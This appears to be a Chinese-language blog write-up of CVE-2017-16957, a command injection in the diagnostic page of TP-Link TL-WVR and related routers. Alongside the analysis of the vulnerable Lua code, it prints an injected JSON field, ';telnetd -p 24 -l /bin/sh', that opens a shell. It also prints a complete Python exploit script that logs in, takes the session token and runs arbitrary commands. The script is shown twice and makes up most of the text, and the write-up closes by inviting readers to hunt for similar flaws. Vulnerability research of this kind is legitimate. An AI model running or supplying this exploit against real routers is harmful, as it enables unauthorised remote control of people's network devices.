TP-Link路由器命令注入漏洞分析

时间:2022-06-08
本文章向大家介绍TP-Link路由器命令注入漏洞分析,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

0x01 背景

TP-Link TL-WVR等都是中国普联(TP-LINK)公司的无线路由器产品。

多款TP-Link系列产品存在命令注入漏洞,攻击者在登录后可发送恶意字段,经拼接后导致任意命令执行。

该漏洞由coincoin7发现,漏洞编号CVE-2017-16957

0x02 受影响产品

TP-LINK TL-WVR系列

TP-LINK TL-WAR系列

TP-LINK TL-ER系列

TP-LINK TL-R系列

0x03 漏洞分析

根据原文提供的链接,下载了TL-WVR450L的固件,使用binwalk解包,拿到squashfs系统文件,再用squashfs-tools将文件提取出来。

下面是原作者提供的漏洞信息

受影响组件:uhttpd

漏洞文件:/usr/lib/lua/luci/controller/admin/diagnostic.lua

漏洞函数:zone_get_effect_devices(t)

89行将传递的参数没有经过任何检查过滤,直接拼接到cmd,通过io.popen进行命令执行。

找到当前文件调用zone_get_effect_devices的ping_action函数

这里将传递的http_form进行json解析,将json参数params.iface传入函数zone_get_effect_devices。

继续往上找到调用ping_action的start_action函数

继续往上找调用start_action

根据上面需要填写的信息,POST请求 [省略]/admin/diagnostic?form=diag,构造json编码的data数据

{
    "method": "start",
    "params": {
        "type": "0",
        "type_hidden": "0",
        "ipaddr_ping": "baidu.com",
        "iface_ping": "WAN1",
        "ipaddr": "baidu.com",
        "iface": ";telnetd -p 24 -l /bin/sh",
        "count": "1",
        "pktsize": "64",
        "my_result": "The Router is ready.rn"
    }
}
{
    "method": "start",
    "params": {
        "type": "0",
        "type_hidden": "0",
        "ipaddr_ping": "baidu.com",
        "iface_ping": "WAN1",
        "ipaddr": "baidu.com",
        "iface": ";telnetd -p 24 -l /bin/sh",
        "count": "1",
        "pktsize": "64",
        "my_result": "The Router is ready.rn"
    }
}

在Web认证登录后,发送构造好的恶意Payload,执行命令telnetd -p 24 -l /bin/sh,就会打开路由器的telnet功能。

漏洞利用脚本exp.py:

# Tested product: TL-WVR450L
# Hardware version:V1.0
# Firmware version: 20161125
# The RSA_Encryption_For_Tplink.js is use for Rsa Encryption to the password when login the web manager.
# You can download the RSA_Encryption_For_Tplink.js by https://github.com/coincoin7/Wireless-Router-Vulnerability/blob/master/RSA_Encryption_For_Tplink.js
import execjs
import requests
import json
import urllib
def read_js():
    file = open("./RSA_Encryption_For_Tplink.js", 'r')
    line = file.readline()
    js = ''
    while line:
        js = js + line
        line = file.readline()
    file.close()
    return js
def execute(ip, port, username, passwd, cmd):
    try:
        s = requests.session()
        uri = "http://{}:{}".format(ip,port)
        headers = {
            'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
            'Referer': 'http://{}/webpages/login.html'.format(ip)
            }
        payload = {
            "method":"get"
        }
        ret = s.post(uri + '/cgi-bin/luci/;stok=/login?form=login', data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5)
        rsa_public_n = json.loads(ret.text)['result']['password'][0].encode("utf-8")
        rsa_public_e = json.loads(ret.text)['result']['password'][1].encode("utf-8")
        js = read_js()
        js_handle = execjs.compile(js)
        password = js_handle.call('MainEncrypt', rsa_public_n, rsa_public_e, passwd)
        payload = {
            "method":"login",
            "params":{
                "username":"{}".format(username),
                "password":"{}".format(password)
            }
        }
        ret = s.post(uri + '/cgi-bin/luci/;stok=/login?form=login', data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5)
        stok = json.loads(ret.text)['result']['stok'].encode('utf-8')
        cookie = ret.headers['Set-Cookie']
        print '[+] Login success'
        print '[+] Get The Token: ' + stok
        print '[+] Get The Cookie: ' + cookie
        headers = {
            'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
            'Referer':'http://{}/webpages/login.html'.format(ip),
            'Cookie':'{}'.format(cookie)
            }
        payload = {
            "method":"start",
            "params":{
                "type":"0",
                "type_hidden":"0",
                "ipaddr_ping":"127.0.0.1",
                "iface_ping":"WAN1",
                "ipaddr":"127.0.0.1",
                "iface":";{}".format(cmd),
                "count":"1",
                "pktsize":"64",
                "my_result":"exploit"
            }
        }
        ret = s.post(uri + '/cgi-bin/luci/;stok={}/admin/diagnostic?form=diag'.format(stok), data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5)
        #print ret.text
        print '[+] Finish RCE'
        print '--------------------------------------------------------------'
        return True
    except:
        return False
if __name__=='__main__':
    print '-----------Tplink LUCI diagnostic Authenticated RCE-----------'
    print execute('192.168.1.1', 80, 'admin', 'admin', 'telnetd -p 24 -l /bin/sh')
# Tested product: TL-WVR450L
# Hardware version:V1.0
# Firmware version: 20161125
# The RSA_Encryption_For_Tplink.js is use for Rsa Encryption to the password when login the web manager.
# You can download the RSA_Encryption_For_Tplink.js by https://github.com/coincoin7/Wireless-Router-Vulnerability/blob/master/RSA_Encryption_For_Tplink.js
 
import execjs
import requests
import json
import urllib
 
 
def read_js():
    file = open("./RSA_Encryption_For_Tplink.js", 'r')
    line = file.readline()
    js = ''
    while line:
        js = js + line
        line = file.readline()
    file.close()
    return js
 
 
def execute(ip, port, username, passwd, cmd):
 
    try:
        s = requests.session()
 
 
        uri = "http://{}:{}".format(ip,port)
        headers = {
            'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
            'Referer': 'http://{}/webpages/login.html'.format(ip)
            }
        payload = {
            "method":"get"
        }
        ret = s.post(uri + '/cgi-bin/luci/;stok=/login?form=login', data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5)
        rsa_public_n = json.loads(ret.text)['result']['password'][0].encode("utf-8")
        rsa_public_e = json.loads(ret.text)['result']['password'][1].encode("utf-8")
        js = read_js()
        js_handle = execjs.compile(js)
        password = js_handle.call('MainEncrypt', rsa_public_n, rsa_public_e, passwd)
 
 
        payload = {
            "method":"login",
            "params":{
                "username":"{}".format(username),
                "password":"{}".format(password)
            }
        }
        ret = s.post(uri + '/cgi-bin/luci/;stok=/login?form=login', data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5)
        stok = json.loads(ret.text)['result']['stok'].encode('utf-8')
        cookie = ret.headers['Set-Cookie']
 
 
        print '[+] Login success'
        print '[+] Get The Token: ' + stok
        print '[+] Get The Cookie: ' + cookie
 
 
        headers = {
            'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
            'Referer':'http://{}/webpages/login.html'.format(ip),
            'Cookie':'{}'.format(cookie)
            }
        payload = {
            "method":"start",
            "params":{
                "type":"0",
                "type_hidden":"0",
                "ipaddr_ping":"127.0.0.1",
                "iface_ping":"WAN1",
                "ipaddr":"127.0.0.1",
                "iface":";{}".format(cmd),
                "count":"1",
                "pktsize":"64",
                "my_result":"exploit"
            }
        }
        ret = s.post(uri + '/cgi-bin/luci/;stok={}/admin/diagnostic?form=diag'.format(stok), data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5)
 
 
        #print ret.text
        print '[+] Finish RCE'
        print '--------------------------------------------------------------'
        return True
 
    except:
        return False
 
 
if __name__=='__main__':
    print '-----------Tplink LUCI diagnostic Authenticated RCE-----------'
    print execute('192.168.1.1', 80, 'admin', 'admin', 'telnetd -p 24 -l /bin/sh')

exp需要下载RSA_Encryption_For_Tplink.js才能使用

0x04 参考链接

https://github.com/coincoin7/Wireless-Router-Vulnerability/blob/master/TplinkDiagnosticAuthenticatedRCE.txt

0x05 后语

通过挖掘发现,存在命令注入的不止diagnostic.lua一处,全局搜索io.popen,你们懂的。感兴趣的同学可以去找下。

投稿者:Wfox